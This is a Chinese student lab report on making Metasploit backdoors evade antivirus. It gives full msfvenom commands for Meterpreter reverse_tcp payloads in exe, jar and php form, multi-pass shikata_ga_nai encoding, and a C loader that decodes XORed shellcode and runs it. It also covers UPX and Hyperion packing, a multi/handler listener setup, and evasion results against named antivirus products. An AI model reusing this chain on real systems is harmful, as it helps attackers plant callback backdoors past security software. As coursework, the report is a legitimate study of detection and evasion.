1.實驗內容
1.1 實驗目的
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧
正確使用msf編碼器,使用msfvenom生成如jar之類的其他文件
veil,加殼工具
使用C + shellcode編程
(2)通過組合應用各種技術實現惡意代碼免殺
如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。
(3)用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本
1.2 關鍵問題回答
(1)殺軟是如何檢測出惡意代碼的?
1.檢測特征碼:殺毒軟件擁有一套特征庫,通過檢索程序代碼是否與庫中的特征碼匹配來判斷某段代碼是否屬于病毒
2.啟發式惡意軟件檢測:如果程序的特征和行為與病毒程序類似,且匹配程度達到一定值,則認為該程序是病毒程序
3.基于行為檢測:通過監視惡意代碼運行過程,如系統監視工具觀察惡意代碼運行時系統環境的變化,或跟蹤惡意代碼執行過程使用的系統函數和指令特征來分析惡意代碼功能,如出現惡意行為,則屬于惡意代碼
4.基于文件校驗和:該病毒檢測技術主要依賴于計算文件的校驗和(如MD5、SHA-1等),并將其與已知的正常文件的校驗和進行比較。其核心思想是,惡意軟件通常會修改文件內容,從而改變其校驗和值。因此,通過定期或不定期地檢查文件的校驗和是否與正常值一致,可以檢測文件是否被篡改或感染病毒
5.云查殺:是一種依賴于云端病毒庫的檢測方法。與傳統的客戶端病毒庫不同,云查殺的病毒庫存儲在服務器端,這使得病毒庫可以實時更新,而不需要用戶手動更新本地病毒庫。
(2)免殺是做什么?
指通過各種手段使惡意軟件規避殺毒軟件和安全檢測系統的識別和攔截,從而在目標系統中成功執行。
(3)免殺的基本方法有哪些?
修改校驗和:是一種免殺技術,其核心在于改變文件的特定區域,從而使文件的校驗和(如MD5或SHA-1)發生變化。這種方法可以欺騙依賴于校驗和檢測的反病毒軟件,因為校驗和(即哈希值)的變化意味著文件內容發生了變化,即使這種變化是微小的。
修改特征碼:指通過改變惡意代碼中的特定序列(即特征碼),來避免被殺毒軟件檢測。這些特征碼是殺毒軟件用來判斷惡意軟件的關鍵標識,通過修改這些特定的字節序列,可以使惡意軟件逃避檢測。
花指令免殺:指在程序的shellcode或特征代碼區域添加無實際意義的垃圾指令。這些指令不會改變程序的運行邏輯,但可以干擾反編譯和殺毒軟件的特征碼檢測。
加殼免殺:是通過使用加密殼來隱藏惡意代碼的特征碼,使得殺毒軟件無法通過特征碼匹配來識別惡意軟件。加殼技術可以掩蓋原始的特征碼,但根據實驗結果顯示,當前的殺毒軟件大多能做到較準確地識別加殼的病毒。
2.實驗過程
2.1任務一 正確使用msf編碼器,veil-evasion,自己利用shellcode編程等免殺工具或技巧
在windows主機中用ipconfig
在linux虛擬機中用ifconfig
來查此時雙方的ip。
此時
linux虛擬機ip為————192.168.56.103
windows主機ip為———192.168.1.115
首先將實驗二中生成的后門文件放入專門用于病毒掃描的網站進行病毒檢測評估
本實驗中我選用的是Virustatol網站,

結果顯示,該后門程序在各大病毒掃描引擎面前很容易便被識別出來,因此,對其進行相應的免殺操作顯然是本次實驗的重中之重。
2.1.1.1對于多次編碼后exe文件的免殺效果
首先在虛擬機命令行輸入>msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_1.exe

與實驗二不同的是,這行代碼中加入了如下參數
-e 參數指定使用的編碼器。
x86/shikata_ga_nai 是一個逃避殺軟檢測的編碼器,它可以使payload更難被靜態分析工具檢測到。
-b 參數指定需要避免的字節。這里\x00代表空字節,防止程序執行時提前結束

事實證明,本次編碼確實是有一點用,但也確實不多,免殺效果有限,
但這次編碼僅僅編碼了一次,若是編碼更多次是否可以有更好地靜態檢測免殺效果?
于是我們在命令行中輸入以下指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f exe > 20222319encoded_10.exe

其中
-i 10 表示編碼10次

可事實證明,其免殺效果甚至還提高了,一種解釋是多次編碼后程序的存儲占用更大,其代碼復雜性也就越高,可能引入異常或不穩定行為,易引起查毒引擎特征庫的注意
2.1.1.2對于多次編碼后jar文件的免殺效果
眾所周知,exe文件在windows系統中非常常見,因此殺毒引擎必然對以其為載體的病毒文件更為關注,那么其他格式的病毒文件編碼后的被查殺效果會不會更低一些呢?
于是我們在虛擬機命令行中輸入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_1.jar
生成一份編碼一次的jar病毒文件


再在命令行中輸入指令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x>20222319encoded_10.jar
生成編碼10次的jar病毒文件


結果顯示,jar文件的免殺率僅僅為exe文件的一半,免殺效果更好。
因為jar屬于Java代碼,其在運行前需要通過Java虛擬機(JVM)進行解釋執行,這增加了分析的復雜性。但相對的,這也要求用戶也必須安裝了java環境,該jar文件才能執行。所以有得也有失,必須結合實際情況來用。
2.1.1.3對于多次編碼后php文件的免殺效果
在虛擬機命令行中輸入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_1.php


在虛擬機命令行中輸入msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.56.103 LPORT=2319 x> 20222319encoded_10.php


結果好的出奇!已經是能避免大部分殺毒引擎的查殺了,原因可能是許多正常的網站和應用程序也會包含PHP腳本,這可能導致殺毒軟件若是嚴格檢測則會產生較多的誤報,因此殺毒軟件可能對PHP文件的檢測更為寬松,以減少誤報對正常業務的影響。
2.1.2利用shellcode編程進行免殺測試
此時
linux虛擬機ip為————192.168.50.192
windows主機ip為———192.168.1.115
在虛擬機命令行中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=2319 -f c
生成一個包含 Meterpreter 反向 TCP 連接 payload 的 C 語言源代碼文件

然后用此代碼寫一個c語言文件如下,其中主函數僅用于實現buf數組中以十六進制編碼的shellcode


免殺效果一般。
2.1.3利用加殼手段進行免殺測試
2.1.3.1對于壓縮殼
在虛擬機命令行中輸入upx 20222319.exe -o 20222319shellcode_upx.exe給上一步驟生成的Shellcode加層殼,


結果顯示不僅沒有加強免殺效果,甚至還更容易被檢測到了,也許殺毒軟件的啟發式分析引擎可能會將壓縮文件視為高風險對象,尤其是當它們包含未知或可疑的可執行內容時。這種分析可能導致壓縮的后門文件更容易被標記為可疑。
2.1.3.2對于加密殼
在虛擬機命令行中輸入cp 20222319.exe /usr/share/windows-resources/hyperion/
將目標文件,也即等待加密的文件放入加密程序所在的目錄下
再輸入cd /usr/share/windows-resources/hyperion/進入這一目錄下
最后輸入wine hyperion.exe -v 20222319.exe 20222319Shellcode_hyp.exe即可為目標后門文件加一層加密的殼


通過nc傳輸到主機上,并交付病毒測試平臺進行測試

可見文件更容易被查殺了。
2.2任務二:通過組合應用各種技術實現惡意代碼免殺
在虛擬機命令行輸入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.103 LPORT=2319 -f c

將輸出的十六進制后門代碼放入寫好的c文件里逐一異或0x01,得到異或后的代碼



再輸入vi Shell20222319encoded_10.c打開該c文件
為程序添加主函數int main(){ for (i = 0; i < sizeof(buf); i++) {buf[i] ^= 0x01;} int (*func)() = (int(*)())buf; func(); }
使得程序未執行時處于偽亂碼狀態,執行時才是后門文件

保存退出后再于命令行輸入i686-w64-mingw32-g++ Shell20222319encoded_10.c -o Shell20222319encoded_10.exe
再加一層壓縮殼upx Shell20222319encoded_10.exe -o Shell20222319upx_encoded_10.exe

再將該文件放入加密程序所在的目錄下并進入其中
cp Shell20222319upx_encoded_10.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
為文件套一層加密殼
wine hyperion.exe -v Shell20222319upx_encoded_10.exe 20222319_END.exe

得到終極后門軟件20222319_END.exe

但事實證明殺毒軟件不吃這一套,甚至以極高的查殺率終結了這一個終極后門軟件。通過nc傳輸到主機上時直截了當地被火絨查殺,實驗失敗
(ó﹏ò?)
但是!360確實并未爆出查殺!

于是我們不小心將火絨關掉一小時。。。
進行任務三。
2.3用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本
在linux虛擬機命令行中輸入msfconsole進入msf控制臺,
輸入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.103
set LPORT 2319
exploit
然后在主機上運行終極后門軟件20222319_END.exe,

結果發現,一運行就被360雷霆查殺了!!!(ó﹏ò?)
實驗真的失敗了。

這是本次實驗在桌面上生成的所有文件。
3.問題及解決方案
關于veil的安裝問題
- 問題1:安裝過程中出現如下報錯
sudo: unable to resolve host kali: Name or service not known
- 問題1解決方案:使用
sudo gedit /etc/hosts打開/etc/hosts,
會看到
127.0.0.1 localhost
127.0.1.1 kali
可以看到第二行還是舊的主機名,與此時的主機名zzs不同,把主機名改回kali即可。
4.學習感悟、思考等
在本次實驗中,我不僅掌握了通過編碼器、C Shellcode、加殼等技術手段進行免殺操作,還深入理解了免殺技術的原理,認識到,靜態檢測主要依賴于特征匹配和行為分析,而動態檢測則側重于監測程序在運行時的行為,兩者相結合可以更高效地識別惡意軟件。
本實驗對我而言存在著兩個難點,一是在安裝Veil時盡管搜索了網絡上大部分安裝bug解決方法,邀請了成功安裝的同學參與調試安裝,但veil始終安裝不下來。
第二個難點是如何確保這一個后門軟件能夠真正逃過市面上主流殺毒軟件的查殺。本次實驗我參考了許多位同學免殺成功的方法,最終匯總為本實驗中的終極后門文件,但實驗事實證明,即使是經過精心設計的免殺技術,也不能保證100%的成功率,當然,也有可能是我操作太多,反而引起了反作用也說不定。這要求我在實際操作中不斷調整和優化免殺策略,以適應不斷變化的安全環境。
事實還是證明,道高一尺,魔高一丈,市面上主流殺毒軟件真不是吃素的,連火絨都能查殺的后門文件,360沒有第一時間查殺,我覺得并不是360弱,可能是360知道自己的動態檢測和軟件攔截非常強大,因此為了性能或是避免誤殺弱化了靜態查殺方面的能力。
浙公網安備 33010602011771號